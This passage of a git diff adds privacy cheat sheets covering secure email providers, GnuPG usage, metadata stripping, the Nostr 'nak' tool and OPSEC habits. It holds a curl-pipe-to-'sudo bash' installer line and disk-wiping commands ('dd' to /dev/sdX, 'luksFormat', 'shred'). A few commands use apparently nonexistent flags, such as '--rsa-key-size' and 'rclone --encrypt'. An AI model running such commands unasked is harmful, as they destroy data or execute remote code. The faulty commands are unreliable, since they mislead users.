compelled) +# Cost: Free tier available, paid from $2.50/mo + +# Posteo +# Pros: Anonymous signup (no personal info required), green energy, ethical +# Cons: No free tier, basic features +# Cost: €1/mo + +# StartMail +# Pros: Privacy focus, PGP support, disposable aliases +# Cons: Netherlands jurisdiction +# Cost: $59.95/year + +# ============================================================================ +# SELF-HOSTED EMAIL (MAXIMUM CONTROL) +# ============================================================================ + +# Self-hosted email advantages +# - Complete control over data +# - No third-party access +# - Custom configuration + +# Self-hosted email disadvantages +# - Complex setup and maintenance +# - Spam filtering challenges +# - Deliverability issues (blacklists) +# - Server costs + +# Mail-in-a-Box (easy self-hosted email) +# https://mailinabox.email/ +# One-command installation +# Ubuntu 22.04 required + +# Install Mail-in-a-Box +curl -s https://mailinabox.email/setup.sh | sudo bash + +# Mailcow (Docker-based email server) +# https://mailcow.email/ +# Modern web UI, comprehensive features + +# ============================================================================ +# EMAIL OPSEC BEST PRACTICES +# ============================================================================ + +# Separate email accounts by identity +# Personal: Real name email +# Work: Work email +# Anonymous: ProtonMail / Tutanota +# Signups: Disposable / alias + +# Never link identities +# Don't use personal email for anonymous activities +# Don't reference other accounts in emails + +# Subject line privacy +# Never put sensitive info in subject +# Subject always visible (even with PGP) +# Tutanota encrypts subjects (ProtonMail doesn't) + +# Avoid email for highly sensitive communication +# Use Signal, Element, or other E2EE messengers +# Email has inherent metadata leakage + +# Use aliases for online accounts +# SimpleLogin, AnonAddy for account signups +# Prevents tracking across services + +# ============================================================================ +# METADATA MINIMIZATION +# ============================================================================ + +# Email metadata always visible to provider +# - Sender, recipient, timestamp +# - IP addresses (in headers) +# - Email size + +# Reduce metadata leakage +# Use Tor when accessing webmail (hides IP) +# Use VPN (hides IP from email provider) +# Use ProtonMail / Tutanota (minimal logging) + +# Tor with ProtonMail +# ProtonMail onion service: https://protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4vfu7ozyd.onion/ + +# Tor with Tutanota +# Use Tor Browser to access: https://tutanota.com/ + +# ============================================================================ +# PROTONMAIL ADVANCED FEATURES +# ============================================================================ + +# Custom domain (paid plans) +# Settings → Domains → Add domain +# Configure DNS records (MX, SPF, DKIM) + +# ProtonMail import/export +# Settings → Import-Export → Import emails +# Supports: Gmail, Outlook, Yahoo + +# ProtonMail filters (paid plans) +# Settings → Filters → Add filter +# Auto-organize incoming mail + +# ProtonMail encrypted contacts +# Contacts stored with zero-access encryption +# Can't be read by ProtonMail + +# ProtonMail VPN integration +# ProtonVPN included with Plus and higher plans +# Unified account management + +# ============================================================================ +# TUTANOTA ADVANCED FEATURES +# ============================================================================ + +# Encrypted calendar +# Calendar tab → Create event +# E2EE, syncs across devices + +# Secure password reset +# Can disable password reset (maximum security) +# Settings → Security → Disable password reset +# WARNING: If you forget password, account is unrecoverable + +# Tutanota for business +# Custom domain, team management +# Admin console for organization + +# Tutanota whitelist mode +# Settings → Security → Whitelist +# Only receive emails from approved senders + +# ============================================================================ +# SECURING EMAIL ON MOBILE +# ============================================================================ + +# ProtonMail app (iOS/Android) +# Download: App Store / Play Store / F-Droid +# F-Droid (open source): https://f-droid.org/ + +# Tutanota app (iOS/Android) +# Download: App Store / Play Store / F-Droid + +# K-9 Mail (Android, open source) +# Supports PGP via OpenKeychain +# https://k9mail.app/ + +# Install K-9 Mail + OpenKeychain +# F-Droid → K-9 Mail, OpenKeychain +# Import PGP key to OpenKeychain +# Configure K-9 to use OpenKeychain + +# FairEmail (Android, privacy-focused) +# https://email.faircode.eu/ +# Tracker blocking, encryption support + +# ============================================================================ +# EMAIL MIGRATION +# ============================================================================ + +# Migrating to secure email + +# Step 1: Set up new secure email +# ProtonMail, Tutanota, or Mailfence + +# Step 2: Import old emails (optional) +# ProtonMail Bridge → Import via IMAP +# Or: Manually forward important emails + +# Step 3: Update accounts gradually +# Start with new signups +# Update critical services (banking, social media) +# Notify contacts + +# Step 4: Set up forwarding (temporary) +# Old email → New email +# Gradually phase out old address + +# Step 5: Close old account +# After 6-12 months of forwarding +# Delete or abandon old account + +# ============================================================================ +# EMAIL PRIVACY CHECKLIST +# ============================================================================ + +# Setup +# [ ] Choose privacy-focused provider (ProtonMail / Tutanota) +# [ ] Enable 2FA on email account +# [ ] Set up email aliases (SimpleLogin / AnonAddy) +# [ ] Import PGP keys (if using) +# [ ] Configure email client securely + +# Daily use +# [ ] Use aliases for new signups +# [ ] Don't put sensitive info in subject lines +# [ ] Verify recipient before sending sensitive info +# [ ] Use disappearing messages for sensitive topics (Signal instead) + +# Maintenance +# [ ] Review connected services quarterly +# [ ] Delete old unnecessary emails +# [ ] Update PGP keys before expiration +# [ ] Check for data breaches (haveibeenpwned.com) + +# ============================================================================ +# RESOURCES +# ============================================================================ + +# Privacy email guides +# EFF Email Self-Defense: https://emailselfdefense.fsf.org/ +# Privacy Guides Email: https://www.privacyguides.org/email/ + +# Email security testing +# Email Privacy Tester: https://www.emailprivacytester.com/ + +# PGP key servers +# keys.openpgp.org +# keyserver.ubuntu.com + +# Communities +# r/ProtonMail (Reddit) +# r/tutanota (Reddit) +# r/privacy (Reddit) + diff --git a/gpg.cheat b/gpg.cheat new file mode 100644 index 0000000..c3add27 --- /dev/null +++ b/gpg.cheat @@ -0,0 +1,339 @@ +% gpg, pgp, encryption, signing, gnupg + +# ============================================================================ +# KEY GENERATION & MANAGEMENT +# ============================================================================ + +# Generate new GPG key pair +gpg --full-generate-key + +# Generate key with specific algorithm (RSA 4096) +gpg --full-generate-key --rsa --rsa-key-size 4096 + +# Quick generate key (defaults) +gpg --quick-generate-key +$ email: echo "user@example.com" + +# List public keys +gpg --list-keys + +# List secret/private keys +gpg --list-secret-keys + +# List keys with fingerprints +gpg --fingerprint + +# Export public key (ASCII armored) +gpg --armor --export > public_key.asc +$ key_id: echo -e "user@example.com\nABCD1234" + +# Export public key (binary) +gpg --export > public_key.gpg +$ key_id: echo "user@example.com" + +# Export private key (KEEP SECURE!) +gpg --armor --export-secret-keys > private_key.asc +$ key_id: echo "user@example.com" + +# Import public key +gpg --import +$ public_key_file: echo -e "public_key.asc\nfriend_key.gpg" + +# Import private key +gpg --import +$ private_key_file: echo "private_key.asc" + +# Delete public key +gpg --delete-key +$ key_id: echo "user@example.com" + +# Delete private key (caution!) +gpg --delete-secret-key +$ key_id: echo "user@example.com" + +# Edit key (change expiration, add subkey, etc.) +gpg --edit-key +$ key_id: echo "user@example.com" + +# ============================================================================ +# FILE ENCRYPTION & DECRYPTION +# ============================================================================ + +# Encrypt file for recipient +gpg --encrypt --recipient +$ recipient_email: echo "friend@example.com" +$ file: echo -e "secret.txt\ndocument.pdf" + +# Encrypt file (ASCII armored output) +gpg --armor --encrypt --recipient +$ recipient_email: echo "friend@example.com" +$ file: echo "message.txt" + +# Encrypt for multiple recipients +gpg --encrypt -r -r +$ recipient1: echo "alice@example.com" +$ recipient2: echo "bob@example.com" +$ file: echo "shared_secret.txt" + +# Symmetric encryption (password-based, no key required) +gpg --symmetric +$ file: echo "document.txt" + +# Decrypt file +gpg --decrypt > +$ encrypted_file: echo -e "secret.txt.gpg\nmessage.asc" +$ output_file: echo "decrypted.txt" + +# Decrypt to stdout +gpg --decrypt +$ encrypted_file: echo "secret.txt.gpg" + +# Encrypt and sign file +gpg --encrypt --sign --recipient +$ recipient: echo "friend@example.com" +$ file: echo "important.pdf" + +# ============================================================================ +# SIGNING & VERIFICATION +# ============================================================================ + +# Sign file (detached signature) +gpg --detach-sign +$ file: echo "document.pdf" + +# Sign file (ASCII armored signature) +gpg --armor --detach-sign +$ file: echo "software.tar.gz" + +# Sign file (cleartext signature - for text files) +gpg --clearsign +$ file: echo "message.txt" + +# Verify detached signature +gpg --verify +$ signature_file: echo -e "document.pdf.sig\nsoftware.tar.gz.asc" +$ original_file: echo -e "document.pdf\nsoftware.tar.gz" + +# Verify clearsigned file +gpg --verify +$ signed_file: echo "message.txt.asc" + +# Sign and encrypt in one step +gpg --sign --encrypt --recipient +$ recipient: echo "friend@example.com" +$ file: echo "confidential.txt" + +# ============================================================================ +# KEY TRUST & WEB OF TRUST +# ============================================================================ + +# Sign someone's public key (vouch for identity) +gpg --sign-key +$ key_id: echo "friend@example.com" + +# Set trust level for key +gpg --edit-key +# Then: trust → select level (1-5) → quit +$ key_id: echo "friend@example.com" + +# Trust levels: +# 1 = Don't know / Won't say +# 2 = Don't trust +# 3 = Marginal trust +# 4 = Full trust +# 5 = Ultimate trust (your own keys) + +# List key signatures +gpg --list-sigs +$ key_id: echo "user@example.com" + +# Check key fingerprint (verify identity) +gpg --fingerprint +$ key_id: echo "friend@example.com" + +# ============================================================================ +# KEYSERVER OPERATIONS +# ============================================================================ + +# Upload public key to keyserver +gpg --keyserver --send-keys +$ keyserver_url: echo -e "hkps://keys.openpgp.org\nhkps://keyserver.ubuntu.com" +$ key_id: echo "ABCD1234" + +# Search for key on keyserver +gpg --keyserver --search-keys +$ keyserver_url: echo "hkps://keys.openpgp.org" +$ email: echo "friend@example.com" + +# Receive key from keyserver +gpg --keyserver --recv-keys +$ keyserver_url: echo "hkps://keys.openpgp.org" +$ key_id: echo "ABCD1234EF567890" + +# Refresh keys from keyserver (check for updates/revocations) +gpg --refresh-keys + +# Popular keyservers: +# hkps://keys.openpgp.org +# hkps://keyserver.ubuntu.com +# hkps://keys.mailvelope.com + +# ============================================================================ +# REVOCATION & KEY EXPIRATION +# ============================================================================ + +# Generate revocation certificate (do this IMMEDIATELY after key creation!) +gpg --output revoke_cert.asc --gen-revoke +$ key_id: echo "user@example.com" + +# Import revocation certificate (revoke compromised key) +gpg --import revoke_cert.asc + +# Upload revoked key to keyserver +gpg --keyserver hkps://keys.openpgp.org --send-keys +$ key_id: echo "ABCD1234" + +# Change key expiration date +gpg --edit-key +# Then: expire → select new expiration → save +$ key_id: echo "user@example.com" + +# ============================================================================ +# GPG AGENT & CACHING +# ============================================================================ + +# Start GPG agent +gpg-agent --daemon + +# Kill GPG agent +gpgconf --kill gpg-agent + +# Reload GPG agent config +gpgconf --reload gpg-agent + +# Set passphrase cache timeout (in ~/.gnupg/gpg-agent.conf) +# default-cache-ttl 600 +# max-cache-ttl 7200 + +# Disable passphrase caching +# default-cache-ttl 0 +# max-cache-ttl 1 + +# Clear cached passphrases +gpgconf --reload gpg-agent + +# ============================================================================ +# EMAIL ENCRYPTION +# ============================================================================ + +# Encrypt email message +gpg --armor --encrypt --sign --recipient message.txt + +# Decrypt received email +gpg --decrypt encrypted_email.asc + +# Thunderbird + Enigmail +# Install Enigmail extension → Import key → Enable encryption + +# Protonmail (built-in PGP) +# Settings → Keys → Import/export GPG keys + +# Mutt email client with GPG +# Add to ~/.muttrc: +# set pgp_use_gpg_agent = yes +# set pgp_sign_as = YOUR_KEY_ID + +# ============================================================================ +# ADVANCED OPTIONS +# ============================================================================ + +# Specify output file +gpg --output --encrypt +$ output_file: echo "secret.gpg" +$ input_file: echo "document.txt" + +# Encrypt with compression +gpg --compress-algo --encrypt +$ algorithm: echo -e "zip\nzlib\nbzip2" +$ file: echo "large_file.tar" + +# Use specific cipher algorithm +gpg --cipher-algo --encrypt +$ algorithm: echo -e "AES256\nAES192\nAES128" +$ file: echo "secret.txt" + +# Batch mode (no prompts, for scripts) +gpg --batch --yes --encrypt --recipient +$ recipient: echo "friend@example.com" +$ file: echo "automated.txt" + +# Verbose output (debugging) +gpg --verbose --encrypt +$ file: echo "test.txt" + +# ============================================================================ +# BEST PRACTICES & OPSEC +# ============================================================================ + +# Always generate revocation certificate after key creation +# Store revocation cert in secure location (offline backup) + +# Use strong passphrase (20+ characters, random) +# Consider using diceware passphrase + +# Set key expiration (1-2 years recommended) +# Renew before expiration, don't let it lapse + +# Use subkeys for daily operations +# Keep master key offline + +# Backup private keys securely +# Use encrypted USB drive or paper backup + +# Verify fingerprints in person when possible +# Don't trust keys from keyservers alone + +# Regularly refresh keys from keyservers +# Check for revocations + +# Use ASCII armor for email/text transmission +# Use binary for file storage (smaller) + +# Don't encrypt to untrusted keys +# Verify recipient identity first + +# ============================================================================ +# CONFIGURATION FILES +# ============================================================================ + +# GPG config: ~/.gnupg/gpg.conf +# Example settings: +# default-key YOUR_KEY_ID +# keyserver hkps://keys.openpgp.org +# use-agent +# armor + +# GPG agent config: ~/.gnupg/gpg-agent.conf +# default-cache-ttl 600 +# max-cache-ttl 7200 +# pinentry-program /usr/bin/pinentry-gtk-2 + +# ============================================================================ +# TROUBLESHOOTING +# ============================================================================ + +# Fix "No public key" error +# Import missing key from keyserver + +# Fix "Unusable public key" error +# Trust the key: gpg --edit-key → trust + +# Reset GPG permissions +chmod 700 ~/.gnupg +chmod 600 ~/.gnupg/* + +# Rebuild GPG trust database +gpg --check-trustdb + +# Check GPG version +gpg --version diff --git a/metadata-removal.cheat b/metadata-removal.cheat new file mode 100644 index 0000000..5c9535b --- /dev/null +++ b/metadata-removal.cheat @@ -0,0 +1,308 @@ +% metadata, exif, sanitization, privacy + +# ============================================================================ +# EXIFTOOL - Universal Metadata Tool +# ============================================================================ + +# Install exiftool +sudo apt install libimage-exiftool-perl + +# View all metadata +exiftool +$ file: echo -e "photo.jpg\ndocument.pdf\nvideo.mp4" + +# View specific metadata tags +exiftool -GPS* +$ image_file: echo "photo.jpg" + +# Remove ALL metadata +exiftool -all= +$ file: echo -e "photo.jpg\ndocument.pdf" + +# Remove metadata and keep original +exiftool -all= -o +$ output_file: echo "cleaned.jpg" +$ input_file: echo "original.jpg" + +# Remove metadata from all files in directory +exiftool -all= *.jpg + +# Remove GPS data only +exiftool -gps:all= +$ image: echo "photo_with_location.jpg" + +# Remove specific tags +exiftool -Author= -Creator= +$ file: echo "document.pdf" + +# Batch remove metadata (preserve originals) +exiftool -all= -r +$ directory: echo -e "~/Pictures\n~/Documents" + +# Remove metadata WITHOUT creating backup files +exiftool -all= -overwrite_original +$ file: echo "photo.jpg" + +# ============================================================================ +# MAT2 - Metadata Anonymisation Toolkit +# ============================================================================ + +# Install mat2 +sudo apt install mat2 + +# Check if file contains metadata +mat2 --check +$ file: echo -e "document.pdf\nphoto.jpg\naudio.mp3" + +# Remove metadata +mat2 +$ file: echo -e "document.pdf\nimage.png" + +# Clean file with lightweight mode (faster, less thorough) +mat2 --lightweight +$ file: echo "large_image.jpg" + +# Clean and specify output location +mat2 --output-directory +$ output_dir: echo "/tmp/cleaned" +$ file: echo "document.pdf" + +# List supported file types +mat2 --list + +# ============================================================================ +# PDF SANITIZATION +# ============================================================================ + +# Remove PDF metadata with exiftool +exiftool -all:all= document.pdf + +# Clean PDF with mat2 +mat2 document.pdf + +# PDF metadata removal with pdftk +pdftk input.pdf output output.pdf compress + +# Remove PDF metadata with qpdf +qpdf --linearize --object-streams=generate input.pdf output.pdf + +# Print PDF and scan (nuclear option - removes ALL metadata/tracking) +# lp input.pdf +# (Scan printed pages back to PDF) + +# ============================================================================ +# IMAGE METADATA REMOVAL +# ============================================================================ + +# Remove EXIF from JPG (exiftool) +exiftool -all= -overwrite_original photo.jpg + +# Remove EXIF with jhead +jhead -purejpg +$ image: echo "photo.jpg" + +# Remove EXIF with ImageMagick (also recompresses) +convert -strip +$ input: echo "original.jpg" +$ output: echo "cleaned.jpg" + +# Remove EXIF from PNG +exiftool -all= image.png + +# Batch clean all images +exiftool -all= -overwrite_original -r ~/Pictures/ + +# ============================================================================ +# AUDIO/VIDEO METADATA +# ============================================================================ + +# Remove metadata from MP3 +eyeD3 --remove-all +$ audio_file: echo "song.mp3" + +# Remove metadata from video (ffmpeg) +ffmpeg -i input.mp4 -map_metadata -1 -c:v copy -c:a copy output.mp4 + +# Strip metadata from all videos in folder +for file in *.mp4; do ffmpeg -i "$file" -map_metadata -1 -c copy "cleaned_$file"; done + +# ============================================================================ +# OFFICE DOCUMENTS +# ============================================================================ + +# Remove Word/Excel/PowerPoint metadata (LibreOffice) +# File → Properties → Reset Properties → Clear All + +# CLI: Convert to PDF (removes some metadata) +libreoffice --headless --convert-to pdf document.docx + +# Remove metadata from Office docs with exiftool +exiftool -all= document.docx + +# ============================================================================ +# DOCUMENT SANITIZATION WORKFLOW +# ============================================================================ + +# Complete document sanitization: +# 1. Remove metadata +exiftool -all= -overwrite_original document.pdf + +# 2. Convert to different format and back (removes hidden data) +pdftk document.pdf output temp.pdf compress +qpdf --object-streams=generate temp.pdf sanitized.pdf + +# 3. Verify metadata removed +exiftool sanitized.pdf + +# ============================================================================ +# CHECKING FOR HIDDEN DATA +# ============================================================================ + +# Check for hidden text/layers in PDF +pdfinfo +$ pdf_file: echo "document.pdf" + +# Extract all text from PDF (find hidden content) +pdftotext - +$ pdf_file: echo "document.pdf" + +# Check PDF structure +pdftk dump_data +$ pdf_file: echo "document.pdf" + +# Analyze document for hidden data +binwalk +$ file: echo "suspicious_document.pdf" + +# ============================================================================ +# COMMON METADATA FIELDS TO REMOVE +# ============================================================================ + +# Images: +# - GPS coordinates (location) +# - Camera make/model +# - Date/time taken +# - Software used +# - Author/Creator + +# PDFs: +# - Author, Creator, Producer +# - Creation/Modification dates +# - Software version +# - Comments/annotations +# - Hidden text/layers + +# Office Docs: +# - Author, Company +# - Edit history +# - Comments/tracked changes +# - Template information +# - Filesystem paths + +# Audio/Video: +# - Artist, Album, Genre +# - Creation date +# - GPS coordinates (videos) +# - Camera/recording device info + +# ============================================================================ +# SAFE SHARING WORKFLOW +# ============================================================================ + +# Before sharing any file: +# 1. Check metadata +exiftool file.jpg + +# 2. Remove metadata +mat2 file.jpg + +# 3. Verify removal +exiftool file.cleaned.jpg + +# 4. (Optional) Convert format +convert file.cleaned.jpg -quality 95 file_final.jpg + +# 5. Final check +exiftool file_final.jpg + +# ============================================================================ +# GUI TOOLS +# ============================================================================ + +# GIMP (image editor) +# File → Export → Uncheck "Save EXIF data" + +# Metadata Cleaner (GUI for mat2) +# Install: flatpak install flathub fr.romainvigier.MetadataCleaner + +# ExifCleaner (cross-platform GUI) +# https://exifcleaner.com + +# ============================================================================ +# BEST PRACTICES +# ============================================================================ + +# Always check files before sharing +# Use mat2 or exiftool as default + +# For sensitive documents: Convert to image, then back to PDF +# (Removes all hidden data/metadata) + +# Screenshots are safer than photos +# (No GPS, camera info) + +# Use disposable/anonymous accounts for sharing +# Even without metadata, file itself may be traceable + +# Consider: Print → Scan → OCR for max sanitization +# Nuclear option, but removes ALL tracking + +# Test your workflow +# Remove metadata, check with exiftool, verify + +# ============================================================================ +# BATCH PROCESSING SCRIPTS +# ============================================================================ + +# Clean all images recursively +find ~/Pictures -type f \( -name "*.jpg" -o -name "*.png" \) -exec exiftool -all= -overwrite_original {} \; + +# Clean all PDFs in directory +for pdf in *.pdf; do mat2 "$pdf"; done + +# Clean and organize +#!/bin/bash +for file in *; do + exiftool -all= -overwrite_original "$file" + mv "$file" "cleaned_$file" +done + +# ============================================================================ +# VERIFICATION +# ============================================================================ + +# Verify no GPS data +exiftool -GPS* photo.jpg | grep -i gps + +# Verify no author info +exiftool -Author -Creator document.pdf + +# Check file size (cleaned should be smaller) +ls -lh original.jpg cleaned.jpg + +# ============================================================================ +# TROUBLESHOOTING +# ============================================================================ + +# exiftool not removing metadata +# Try: exiftool -all:all= (removes more) + +# mat2 "Unsupported file format" +# Check: mat2 --list for supported types + +# PDF still has metadata after cleaning +# Try converting: pdftk → qpdf → exiftool chain + +# File corrupted after cleaning +# Always test on copy first +# Some formats don't support metadata removal diff --git a/nak.cheat b/nak.cheat new file mode 100644 index 0000000..e0fbcfc --- /dev/null +++ b/nak.cheat @@ -0,0 +1,36 @@ +% nostr, nak, cryptography, decentralized + +# nak — fiatjaf's "Nostr army knife". For network commands, relay URLs go at the END. +# req filters: -k kind | -a author(hex) | -i id | -l limit | -t name=value tag | -s search + +# Decode npub/note/nevent/nprofile to hex (pure local, no network) +nak decode + +# Encode a hex pubkey to npub (local, no network) +nak encode npub + +# Read: last N text notes (kind 1) by an author from a relay +nak req -k 1 -a -l + +# Read: a single event by its id +nak req -i + +# Read: filter notes by hashtag tag (t=value) +nak req -k 1 -t t= -l + +# Write DRY RUN: no relays at the end = prints the signed event, does NOT publish +nak event -k 1 -c "" --sec + +# Write & PUBLISH: add one or more relay URLs at the end +nak event -k 1 -c "" --sec + +# Payment-pointer event (NIP-A3, kind 10133) — each -t 'payto=x;y' becomes ["payto","x","y"] +nak event -k 10133 -t 'payto=xmr;' -t 'payto=lightning;' --sec + +# Sign via a remote bunker (NIP-46 / Amber) instead of a local --sec key — confirm exact flag +nak event --help + +# Help for any subcommand (decode, encode, req, event, ...) +nak --help + +$ relay_url: echo 'wss://nos.lol wss://relay.damus.io wss://relay.primal.net wss://relay.nostr.band' | tr ' ' '\n' diff --git a/opsec.cheat b/opsec.cheat new file mode 100644 index 0000000..ca43c27 --- /dev/null +++ b/opsec.cheat @@ -0,0 +1,505 @@ +% opsec, operational-security, privacy, anonymity, security-culture + +# ============================================================================ +# OPERATIONAL SECURITY (OPSEC) FUNDAMENTALS +# ============================================================================ + +# OPSEC Definition +# Identifying critical information and preventing adversaries from obtaining it + +# The 5-Step OPSEC Process +# 1. Identify critical information +# 2. Analyze threats +# 3. Analyze vulnerabilities +# 4. Assess risk +# 5. Apply appropriate countermeasures + +# Core Principle: Assume breach +# Design systems assuming adversary has partial access + +# ============================================================================ +# THREAT MODELING +# ============================================================================ + +# Questions to answer: +# - What am I trying to protect? +# - Who am I trying to protect it from? +# - How bad are the consequences if I fail? +# - How likely is the threat to occur? +# - How much trouble am I willing to go through? + +# Common threat actors: +# - Government surveillance (NSA, Five Eyes) +# - Corporations (data brokers, ad tech) +# - Cybercriminals (ransomware, identity theft) +# - Domestic abusers / stalkers +# - Employers / schools +# - Oppressive regimes + +# Threat model examples: +# Journalist: Government surveillance, source protection +# Activist: Surveillance, doxxing, physical threats +# Average user: Corporate tracking, data breaches +# Criminal: Law enforcement, forensics + +# ============================================================================ +# IDENTITY COMPARTMENTALIZATION +# ============================================================================ + +# Separate identities for different contexts +# - Legal name identity (government, banking) +# - Professional identity (work, LinkedIn) +# - Personal identity (friends, social media) +# - Anonymous identity (activism, research) +# - Pseudonymous identities (online communities) + +# Never cross-contaminate identities +# Use different: emails, phones, browsers, devices, accounts + +# Example separation: +# Real Name → Banking, taxes, medical +# Work Name → Professional email, LinkedIn, conferences +# Handle1 → Twitter, Reddit, public discussions +# Handle2 → Security research, bug bounties +# Anonymous → Tor, whistleblowing, sensitive research + +# ============================================================================ +# ACCOUNT SECURITY HYGIENE +# ============================================================================ + +# Password management +# Use password manager (Bitwarden, KeePassXC, 1Password) +# Unique password per account (30+ characters) +# Enable 2FA everywhere (TOTP > SMS > nothing) +# Use hardware keys (YubiKey, Nitrokey) for critical accounts + +# Password generation +pwgen -s 32 1 + +# Check if email in breach (HIBP) +curl "https://haveibeenpwned.com/api/v3/breachedaccount/email@example.com" + +# Account security checklist +# [ ] Unique strong password +# [ ] 2FA enabled (TOTP or hardware key) +# [ ] Recovery email set (separate identity) +# [ ] Security questions (use fake answers stored in password manager) +# [ ] Login notifications enabled +# [ ] Review connected apps/permissions quarterly +# [ ] Remove unused accounts + +# ============================================================================ +# COMMUNICATION SECURITY +# ============================================================================ + +# Secure messaging hierarchy (best to worst) +# 1. Signal (E2EE, metadata resistance, open source) +# 2. Wire (E2EE, self-hosted option) +# 3. Element/Matrix (E2EE, federated, self-hosted) +# 4. Telegram (not E2EE by default, metadata leaks) +# 5. WhatsApp (E2EE but owned by Meta) +# 6. SMS (unencrypted, avoid) + +# Email security +# - Use ProtonMail or Tutanota for sensitive emails +# - PGP/GPG for encryption (see gpg.cheat) +# - Assume all email is compromised (even encrypted) +# - Use temporary emails for signups (guerrillamail, temp-mail) + +# Voice calls +# - Signal for encrypted calls +# - Avoid regular phone calls for sensitive topics +# - Use burner phones for high-threat scenarios + +# ============================================================================ +# DEVICE SECURITY +# ============================================================================ + +# Full disk encryption (FDE) +# Linux: LUKS (see veracrypt.cheat) +sudo cryptsetup luksFormat /dev/sdX +sudo cryptsetup luksOpen /dev/sdX encrypted_drive + +# Check if encrypted +lsblk -f + +# macOS: FileVault +# System Preferences → Security & Privacy → FileVault → Turn On + +# Windows: BitLocker +# Control Panel → BitLocker Drive Encryption + +# Screen lock policy +# Lock after 5 minutes idle +# Require password immediately after sleep +xset s 300 5 +xset dpms 600 600 600 + +# BIOS/UEFI password +# Prevents unauthorized boot device changes + +# Secure boot +# Prevents bootkit/rootkit attacks +# Enable in BIOS/UEFI + +# ============================================================================ +# PHYSICAL SECURITY +# ============================================================================ + +# Device protection +# - Never leave devices unattended +# - Use privacy screens (3M privacy filters) +# - Tape over cameras when not in use +# - Disable microphone in BIOS (if possible) +# - Use RFID-blocking wallet +# - Faraday bag for phones (blocks all signals) + +# Travel security +# - Use burner laptop/phone for sensitive travel +# - Encrypt all drives before crossing borders +# - Back up data before travel, wipe device +# - Assume devices compromised after crossing hostile borders +# - Never unlock devices under duress (know your rights) + +# Home security +# - Lock devices when leaving room +# - Store backups in fireproof safe +# - Keep hardware keys in separate location +# - Shred sensitive documents (cross-cut shredder) + +# ============================================================================ +# METADATA AWARENESS +# ============================================================================ + +# Metadata is data about data +# Examples: +# - Photos: GPS, camera model, timestamp +# - Documents: author, edit history, software version +# - Emails: sender, recipient, timestamp, IP +# - Files: creation date, modification date, MAC addresses + +# Remove metadata (see metadata-removal.cheat) +exiftool -all= file.jpg + +# Metadata you can't avoid: +# - ISP knows your browsing (use VPN) +# - Email headers reveal IP (use Tor) +# - Phone company knows location (use airplane mode) +# - Signal server knows when you're online (use sealed sender) + +# ============================================================================ +# NETWORK SECURITY +# ============================================================================ + +# Home network hardening +# - Change default router password +# - Disable WPS +# - Use WPA3 (or WPA2 if WPA3 unavailable) +# - Disable UPnP +# - Disable remote management +# - Change default SSID (don't include personal info) +# - Enable router firewall +# - Segment IoT devices (separate VLAN) + +# VPN usage (see vpn.cheat) +# Use for: +# - Public WiFi +# - Torrenting +# - Hiding traffic from ISP +# - Geo-restriction bypass + +# Don't use VPN for: +# - Banking (flags fraud detection) +# - Anything requiring your real identity +# - Tor (use Tor alone or VPN → Tor) + +# DNS security +# Use encrypted DNS (DoH or DoT) +# Options: Cloudflare 1.1.1.1, Quad9 9.9.9.9 + +# Configure DoH in Firefox +# about:config → network.trr.mode = 2 +# network.trr.uri = https://mozilla.cloudflare-dns.com/dns-query + +# ============================================================================ +# SOCIAL ENGINEERING DEFENSES +# ============================================================================ + +# Phishing awareness +# Check sender email carefully (look for typos) +# Hover over links before clicking +# Don't trust urgent requests +# Verify requests through separate channel +# Never give passwords over phone/email + +# Vishing (voice phishing) +# Verify caller identity +# Call back on known number +# Don't give info over phone +# Be suspicious of urgency + +# Pretexting +# Don't overshare on social media +# Use fake answers for security questions +# Limit public information + +# ============================================================================ +# ONLINE FOOTPRINT REDUCTION +# ============================================================================ + +# Audit online presence +# Google yourself (all name variations) +# Check data broker sites (Spokeo, BeenVerified, WhitePages) +# Search email addresses +# Review old social media posts + +# Remove information from data brokers +# Opt out of: Spokeo, WhitePages, PeopleFinder, Intelius +# Use removal services: DeleteMe, Privacy Duck + +# Social media privacy settings +# Facebook: Settings → Privacy → Limit past posts +# Twitter: Protected tweets, limit tagging +# Instagram: Private account, review followers +# LinkedIn: Limit profile visibility + +# Delete old accounts +# Use: https://justdelete.me/ +# Or: Account → Settings → Delete Account + +# ============================================================================ +# SECURE COMPUTING HABITS +# ============================================================================ + +# Software updates +# Enable automatic updates for: +# - Operating system +# - Browser +# - Security software +# - All applications + +# Check for updates manually +sudo apt update && sudo apt upgrade +brew update && brew upgrade + +# Antivirus/EDR (if needed) +# Linux: ClamAV +sudo apt install clamav +sudo freshclam +clamscan -r /home/ + +# Firewall +# Enable UFW (Linux) +sudo ufw enable +sudo ufw default deny incoming +sudo ufw default allow outgoing + +# Check firewall status +sudo ufw status verbose + +# ============================================================================ +# BACKUP STRATEGY (3-2-1 RULE) +# ============================================================================ + +# 3-2-1 Backup Rule +# 3 copies of data +# 2 different storage types +# 1 offsite copy + +# Backup tools +# Linux: rsync, restic, borg +# macOS: Time Machine +# Cross-platform: Duplicati, rclone + +# Encrypted backups (restic) +restic init --repo /backup/location +restic backup /home/user --repo /backup/location + +# Cloud backup (encrypted) +# Rclone to cloud storage +rclone sync /home/user remote:backup --encrypt + +# Test backups regularly +# Restore random files monthly to verify integrity + +# ============================================================================ +# SECURE DISPOSAL +# ============================================================================ + +# Securely delete files (see secure-deletion.cheat) +shred -vfz -n 5 sensitive_file.txt + +# Wipe free space +# Linux +sfill -f /home/ +# or +cat /dev/urandom > /home/deleteme.dat +rm /home/deleteme.dat + +# Wipe entire drive before disposal +sudo dd if=/dev/urandom of=/dev/sdX bs=1M status=progress + +# Physical destruction (if necessary) +# - Drill holes through platters +# - Degauss magnetic media +# - Professional shredding service + +# ============================================================================ +# DIGITAL HYGIENE CHECKLIST +# ============================================================================ + +# Daily +# [ ] Lock screen when leaving device +# [ ] Check for suspicious emails/messages +# [ ] Clear browser history/cookies (if not automated) + +# Weekly +# [ ] Review account login notifications +# [ ] Check for software updates +# [ ] Backup important data + +# Monthly +# [ ] Change critical passwords (if compromised) +# [ ] Review connected apps/permissions +# [ ] Audit active sessions +# [ ] Review firewall/security logs + +# Quarterly +# [ ] Review threat model +# [ ] Audit online presence (Google yourself) +# [ ] Delete unused accounts +# [ ] Review and rotate encryption keys +# [ ] Test backup restoration + +# Yearly +# [ ] Full security audit +# [ ] Review all passwords (check HIBP) +# [ ] Update emergency contacts +# [ ] Document security procedures + +# ============================================================================ +# OPSEC FAILURES (WHAT NOT TO DO) +# ============================================================================ + +# Common mistakes: +# ❌ Reusing passwords across accounts +# ❌ Using SMS 2FA (SIM swapping attacks) +# ❌ Posting travel plans on social media +# ❌ Using real name for anonymous accounts +# 